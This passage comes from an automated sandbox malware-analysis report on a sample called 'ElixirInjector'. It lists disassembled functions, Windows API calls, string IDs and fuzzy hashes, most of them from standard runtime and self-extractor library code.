                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: _wcslen
                                                                                              • String ID: $&nbsp;$<br>$<style>body{font-family:"Arial";font-size:12;}</style>
                                                                                              • API String ID: 176396367-3743748572
                                                                                              • Opcode ID: 4c4bcff26b9cd01d8e680c4d38a0a1ced3ad8dae9b08da5adfb8ab33bb962bba
                                                                                              • Instruction ID: 47d407b0f9fed181eb534e5c7fef8eee383b866c67997962f742dfc6dcf59a3c
                                                                                              • Opcode Fuzzy Hash: 4c4bcff26b9cd01d8e680c4d38a0a1ced3ad8dae9b08da5adfb8ab33bb962bba
                                                                                              • Instruction Fuzzy Hash: 67319232E4C31566D634EB54BC0277A73A4EB40330F50841FF88197280FBDCAD85A3A5
                                                                                              Function 00F3C8A4 Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                                • Part of subcall function 00F3C868: _free.LIBCMT ref: 00F3C891
                                                                                              • _free.LIBCMT ref: 00F3C8F2
                                                                                                • Part of subcall function 00F38DCC: RtlFreeHeap.NTDLL(00000000,00000000,?,00F3C896,?,00000000,?,00000000,?,00F3C8BD,?,00000007,?,?,00F3CCBA,?), ref: 00F38DE2
                                                                                                • Part of subcall function 00F38DCC: GetLastError.KERNEL32(?,?,00F3C896,?,00000000,?,00000000,?,00F3C8BD,?,00000007,?,?,00F3CCBA,?,?), ref: 00F38DF4
                                                                                              • _free.LIBCMT ref: 00F3C8FD
                                                                                              • _free.LIBCMT ref: 00F3C908
                                                                                              • _free.LIBCMT ref: 00F3C95C
                                                                                              • _free.LIBCMT ref: 00F3C967
                                                                                              • _free.LIBCMT ref: 00F3C972
                                                                                              • _free.LIBCMT ref: 00F3C97D
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: _free$ErrorFreeHeapLast
                                                                                              • String ID:
                                                                                              • API String ID: 776569668-0
                                                                                              • Opcode ID: bf1448b5a367794c459becf00bdc5ad94e8d71ea07fb2ac2ae3d8aaabc3cc25b
                                                                                              • Instruction ID: 97aa5a202c2c4d4bbf5da57ad16864b1ee90f47d3694fa57b12aae30c84bf754
                                                                                              • Opcode Fuzzy Hash: bf1448b5a367794c459becf00bdc5ad94e8d71ea07fb2ac2ae3d8aaabc3cc25b
                                                                                              • Instruction Fuzzy Hash: 97112172580B04AAE520B7B1CC07FCB7BAC9F04B20F404C15B3DD76092DA7DB616A790
                                                                                              Function 00F2E5EE Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 45libraryloaderCOMMONLIBRARYCODE
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • GetModuleHandleW.KERNEL32(KERNEL32.DLL,?,?,00F2E669,00F2E5CC,00F2E86D), ref: 00F2E605
                                                                                              • GetProcAddress.KERNEL32(00000000,AcquireSRWLockExclusive), ref: 00F2E61B
                                                                                              • GetProcAddress.KERNEL32(00000000,ReleaseSRWLockExclusive), ref: 00F2E630
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: AddressProc$HandleModule
                                                                                              • String ID: AcquireSRWLockExclusive$KERNEL32.DLL$ReleaseSRWLockExclusive
                                                                                              • API String ID: 667068680-1718035505
                                                                                              • Opcode ID: fdb7fc599b842498eda5bbeada5b7e0c1624e1dbfa5bcb6fa006b7aa298faf25
                                                                                              • Instruction ID: 98fc68fbc1f26a01e4ea66218245ae402480df1409fb10afbaf2e54ad0fdb0ab
                                                                                              • Opcode Fuzzy Hash: fdb7fc599b842498eda5bbeada5b7e0c1624e1dbfa5bcb6fa006b7aa298faf25
                                                                                              • Instruction Fuzzy Hash: 49F0F632FA02365F0F225FA9BC856B63EC8AA35B693340539DD05D7200EB14CC587BA2
                                                                                              Function 00F2146A Relevance: 9.1, APIs: 6, Instructions: 98timeCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • SystemTimeToFileTime.KERNEL32(?,?), ref: 00F214C2
                                                                                                • Part of subcall function 00F1B146: GetVersionExW.KERNEL32(?), ref: 00F1B16B
                                                                                              • LocalFileTimeToFileTime.KERNEL32(?,?), ref: 00F214E6
                                                                                              • FileTimeToSystemTime.KERNEL32(?,?), ref: 00F21500
                                                                                              • TzSpecificLocalTimeToSystemTime.KERNEL32(00000000,?,?), ref: 00F21513
                                                                                              • SystemTimeToFileTime.KERNEL32(?,?), ref: 00F21523
                                                                                              • SystemTimeToFileTime.KERNEL32(?,?), ref: 00F21533
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: Time$File$System$Local$SpecificVersion
                                                                                              • String ID:
                                                                                              • API String ID: 2092733347-0
                                                                                              • Opcode ID: 890d99c91e66808b3d5ff761a0addd764c4634bb82efd8fb3d1d3fcfb6c9b16d
                                                                                              • Instruction ID: cf5a07398b0340047e451419fceab57ddb8a191427af49632f4998f6f7235ed5
                                                                                              • Opcode Fuzzy Hash: 890d99c91e66808b3d5ff761a0addd764c4634bb82efd8fb3d1d3fcfb6c9b16d
                                                                                              • Instruction Fuzzy Hash: 7231F879508359ABC700DFA8D88599BB7F8FF98714F044A1EF999C3210E730D549CBA6
                                                                                              Function 00F32AFA Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • GetLastError.KERNEL32(?,?,00F32AF1,00F302FC,00F2FA34), ref: 00F32B08
                                                                                              • ___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00F32B16
                                                                                              • ___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00F32B2F
                                                                                              • SetLastError.KERNEL32(00000000,00F32AF1,00F302FC,00F2FA34), ref: 00F32B81
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: ErrorLastValue___vcrt_
                                                                                              • String ID:
                                                                                              • API String ID: 3852720340-0
                                                                                              • Opcode ID: 42263f2e5aa3360709f27e0edcfc6651a002df8eef7b8d815ac48dbb1cfe2b2a
                                                                                              • Instruction ID: 739e78891b2c1338cdb54e1bf67347dab411602f90700adaff25a5c8e9162f82
                                                                                              • Opcode Fuzzy Hash: 42263f2e5aa3360709f27e0edcfc6651a002df8eef7b8d815ac48dbb1cfe2b2a
                                                                                              • Instruction Fuzzy Hash: 2501F7365083196EA7542B787C85E2A7B59FFA27B5F700739F920550F0EF154C01B244
                                                                                              Function 00F397E5 Relevance: 9.0, APIs: 6, Instructions: 50COMMONLIBRARYCODE
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • GetLastError.KERNEL32(?,00F51098,00F34674,00F51098,?,?,00F340EF,?,?,00F51098), ref: 00F397E9
                                                                                              • _free.LIBCMT ref: 00F3981C
                                                                                              • _free.LIBCMT ref: 00F39844
                                                                                              • SetLastError.KERNEL32(00000000,?,00F51098), ref: 00F39851
                                                                                              • SetLastError.KERNEL32(00000000,?,00F51098), ref: 00F3985D
                                                                                              • _abort.LIBCMT ref: 00F39863
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: ErrorLast$_free$_abort
                                                                                              • String ID:
                                                                                              • API String ID: 3160817290-0
                                                                                              • Opcode ID: 4775cd485e0ba7e558f1c98b33545e4830db3d71aecf88b5836e69321653c2db
                                                                                              • Instruction ID: 5418e53e22f9036dfb6ae02bb7ca60245b9bb7781cd655fc9c17d594aabd579f
                                                                                              • Opcode Fuzzy Hash: 4775cd485e0ba7e558f1c98b33545e4830db3d71aecf88b5836e69321653c2db
                                                                                              • Instruction Fuzzy Hash: B9F0C83A54860166C7523339BC0AB5B3A759FE3B75F740128FA28921D2FFE8C806B565
                                                                                              Function 00F2DC3B Relevance: 9.0, APIs: 6, Instructions: 42windowsynchronizationCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • WaitForSingleObject.KERNEL32(?,0000000A), ref: 00F2DC47
                                                                                              • PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 00F2DC61
                                                                                              • GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00F2DC72
                                                                                              • TranslateMessage.USER32(?), ref: 00F2DC7C
                                                                                              • DispatchMessageW.USER32(?), ref: 00F2DC86
                                                                                              • WaitForSingleObject.KERNEL32(?,0000000A), ref: 00F2DC91
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: Message$ObjectSingleWait$DispatchPeekTranslate
                                                                                              • String ID:
                                                                                              • API String ID: 2148572870-0
                                                                                              • Opcode ID: c3468415ae7692b31f6bb1fde9b3a83dcb1d9a7c32b1ac7890b00256ee3803eb
                                                                                              • Instruction ID: 719569e036eacc394240b1d61dbfde301db3dadae50b630c4926518e564d6faa
                                                                                              • Opcode Fuzzy Hash: c3468415ae7692b31f6bb1fde9b3a83dcb1d9a7c32b1ac7890b00256ee3803eb
                                                                                              • Instruction Fuzzy Hash: 5DF03C72E0122DBBCB206BA5EC4DDDB7F6DEF527A5B004121B50AE2050D6748686E7A1
                                                                                              Function 00F1C0C5 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 148COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                                • Part of subcall function 00F205DA: _wcslen.LIBCMT ref: 00F205E0
                                                                                                • Part of subcall function 00F1B92D: _wcsrchr.LIBVCRUNTIME ref: 00F1B944
                                                                                              • _wcslen.LIBCMT ref: 00F1C197
                                                                                              • _wcslen.LIBCMT ref: 00F1C1DF
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: _wcslen$_wcsrchr
                                                                                              • String ID: .exe$.rar$.sfx
                                                                                              • API String ID: 3513545583-31770016
                                                                                              • Opcode ID: 33e2fa2c040e6520af037a75523f57d76d4b11225ae71264ba02bc46d412ed79
                                                                                              • Instruction ID: b5062436a3bcd8e9c18492d32788954d7f904b12374b1bb1a3c35073536ff5c1
                                                                                              • Opcode Fuzzy Hash: 33e2fa2c040e6520af037a75523f57d76d4b11225ae71264ba02bc46d412ed79
                                                                                              • Instruction Fuzzy Hash: 8E4148229C0361A6C735AF349C12ABA73B4EF44764F10490EF9D1AB082EB648DC1F3D6
                                                                                              Function 00F2CE87 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 133COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • GetTempPathW.KERNEL32(00000800,?), ref: 00F2CE9D
                                                                                                • Part of subcall function 00F1B690: _wcslen.LIBCMT ref: 00F1B696
                                                                                              • _swprintf.LIBCMT ref: 00F2CED1
                                                                                                • Part of subcall function 00F14092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00F140A5
                                                                                              • SetDlgItemTextW.USER32(?,00000066,00F5946A), ref: 00F2CEF1
                                                                                              • EndDialog.USER32(?,00000001), ref: 00F2CFFE
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: DialogItemPathTempText__vswprintf_c_l_swprintf_wcslen
                                                                                              • String ID: %s%s%u
                                                                                              • API String ID: 110358324-1360425832
                                                                                              • Opcode ID: 66f1436f995d3cf9683a0124bb651180fe286587b5a1f8c135d18dd7b20362b3
                                                                                              • Instruction ID: 6a572df7cf1034ef57c1b89bbd26b00d20eaf4a6859627267f0164e543bdc4fd
                                                                                              • Opcode Fuzzy Hash: 66f1436f995d3cf9683a0124bb651180fe286587b5a1f8c135d18dd7b20362b3
                                                                                              • Instruction Fuzzy Hash: BF419671800268AADF25DB90DC45FEE77BCEB04351F408096FA09E7051EE749E44EFA2
                                                                                              Function 00F1BB03 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 127COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • _wcslen.LIBCMT ref: 00F1BB27
                                                                                              • GetCurrentDirectoryW.KERNEL32(000007FF,?,?,?,?,00000000,?,?,00F1A275,?,?,00000800,?,00F1A23A,?,00F1755C), ref: 00F1BBC5
                                                                                              • _wcslen.LIBCMT ref: 00F1BC3B
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: _wcslen$CurrentDirectory
                                                                                              • String ID: UNC$\\?\
                                                                                              • API String ID: 3341907918-253988292
                                                                                              • Opcode ID: 0b49bf0ed156335e0dd96cc30ac72cd405b2d221ac239bc23313090014846f7f
                                                                                              • Instruction ID: 08dd340d8030a3b5850e3166adb1aede1b620dab9a1432a747688ba2b7f55109
                                                                                              • Opcode Fuzzy Hash: 0b49bf0ed156335e0dd96cc30ac72cd405b2d221ac239bc23313090014846f7f
                                                                                              • Instruction Fuzzy Hash: 4C419332840216F6DF21AF61DC42EEA77A9AF453A0F144469F854A3151DF74DAD0FAA0
                                                                                              Function 00F2B6DD Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 58windowCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • LoadBitmapW.USER32(00000065), ref: 00F2B6ED
                                                                                              • GetObjectW.GDI32(00000000,00000018,?), ref: 00F2B712
                                                                                              • DeleteObject.GDI32(00000000), ref: 00F2B744
                                                                                              • DeleteObject.GDI32(00000000), ref: 00F2B767
                                                                                                • Part of subcall function 00F2A6C2: FindResourceW.KERNEL32(?,PNG,00000000,?,?,?,00F2B73D,00000066), ref: 00F2A6D5
                                                                                                • Part of subcall function 00F2A6C2: SizeofResource.KERNEL32(00000000,?,?,?,00F2B73D,00000066), ref: 00F2A6EC
                                                                                                • Part of subcall function 00F2A6C2: LoadResource.KERNEL32(00000000,?,?,?,00F2B73D,00000066), ref: 00F2A703
                                                                                                • Part of subcall function 00F2A6C2: LockResource.KERNEL32(00000000,?,?,?,00F2B73D,00000066), ref: 00F2A712
                                                                                                • Part of subcall function 00F2A6C2: GlobalAlloc.KERNEL32(00000002,00000000,?,?,?,?,?,00F2B73D,00000066), ref: 00F2A72D
                                                                                                • Part of subcall function 00F2A6C2: GlobalLock.KERNEL32(00000000), ref: 00F2A73E
                                                                                                • Part of subcall function 00F2A6C2: CreateStreamOnHGlobal.COMBASE(00000000,00000000,?), ref: 00F2A762
                                                                                                • Part of subcall function 00F2A6C2: GdipCreateHBITMAPFromBitmap.GDIPLUS(?,?,00FFFFFF), ref: 00F2A7A7
                                                                                                • Part of subcall function 00F2A6C2: GlobalUnlock.KERNEL32(00000000), ref: 00F2A7C6
                                                                                                • Part of subcall function 00F2A6C2: GlobalFree.KERNEL32(00000000), ref: 00F2A7CD
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: Global$Resource$Object$BitmapCreateDeleteLoadLock$AllocFindFreeFromGdipSizeofStreamUnlock
                                                                                              • String ID: ]
                                                                                              • API String ID: 1797374341-3352871620
                                                                                              • Opcode ID: 08cc66fcc5561c9b9cb3b5fb0cf806059ea519aec0ebf7344d235b694855ac03
                                                                                              • Instruction ID: 3d018f0794ec97a1c981021a6d9e453f9c722d14a120cf7acce8983546b1d112
                                                                                              • Opcode Fuzzy Hash: 08cc66fcc5561c9b9cb3b5fb0cf806059ea519aec0ebf7344d235b694855ac03
                                                                                              • Instruction Fuzzy Hash: 9E01C03690022567C7127774AC0AEAF7BBAAFC0B66F180010FD00A7291DF258D0972B2
                                                                                              Function 00F2D600 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 56COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                                • Part of subcall function 00F11316: GetDlgItem.USER32(00000000,00003021), ref: 00F1135A
                                                                                                • Part of subcall function 00F11316: SetWindowTextW.USER32(00000000,00F435F4), ref: 00F11370
                                                                                              • EndDialog.USER32(?,00000001), ref: 00F2D64B
                                                                                              • GetDlgItemTextW.USER32(?,00000068,00000800), ref: 00F2D661
                                                                                              • SetDlgItemTextW.USER32(?,00000066,?), ref: 00F2D675
                                                                                              • SetDlgItemTextW.USER32(?,00000068), ref: 00F2D684
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: ItemText$DialogWindow
                                                                                              • String ID: RENAMEDLG
                                                                                              • API String ID: 445417207-3299779563
                                                                                              • Opcode ID: dc34cff358aebd583ed480b48d3c6171c969d2f79d324a3e29e0043a39207ef0
                                                                                              • Instruction ID: e7c9cd060a2d2008afc99997364cd00b4719830b6b3f08ec567c7fa93adf2d8e
                                                                                              • Opcode Fuzzy Hash: dc34cff358aebd583ed480b48d3c6171c969d2f79d324a3e29e0043a39207ef0
                                                                                              • Instruction Fuzzy Hash: C601D833644238BBD2215F64BD09F577F5DFB5AB11F110411F745A20D0C6E29A08BB76
                                                                                              Function 00F37E73 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 38libraryloaderCOMMONLIBRARYCODE
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,?,00F37E24,?,?,00F37DC4,?,00F4C300,0000000C,00F37F1B,?,00000002), ref: 00F37E93
                                                                                              • GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00F37EA6
                                                                                              • FreeLibrary.KERNEL32(00000000,?,?,?,00F37E24,?,?,00F37DC4,?,00F4C300,0000000C,00F37F1B,?,00000002,00000000), ref: 00F37EC9
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: AddressFreeHandleLibraryModuleProc
                                                                                              • String ID: CorExitProcess$mscoree.dll
                                                                                              • API String ID: 4061214504-1276376045
                                                                                              • Opcode ID: f1b0b2382dba576af53e537bc934067710d397d2ae40cc02f6edb21c3ba6a3b0
                                                                                              • Instruction ID: a8de3bd12e0bc865452fcf98122ae98412904065d678e08fa431d1741052ada2
                                                                                              • Opcode Fuzzy Hash: f1b0b2382dba576af53e537bc934067710d397d2ae40cc02f6edb21c3ba6a3b0
                                                                                              • Instruction Fuzzy Hash: 68F04F75A0421DBBCB11ABA4DC09B9EBFB4EF45725F0041A9FC05E2260DB709E84EA91
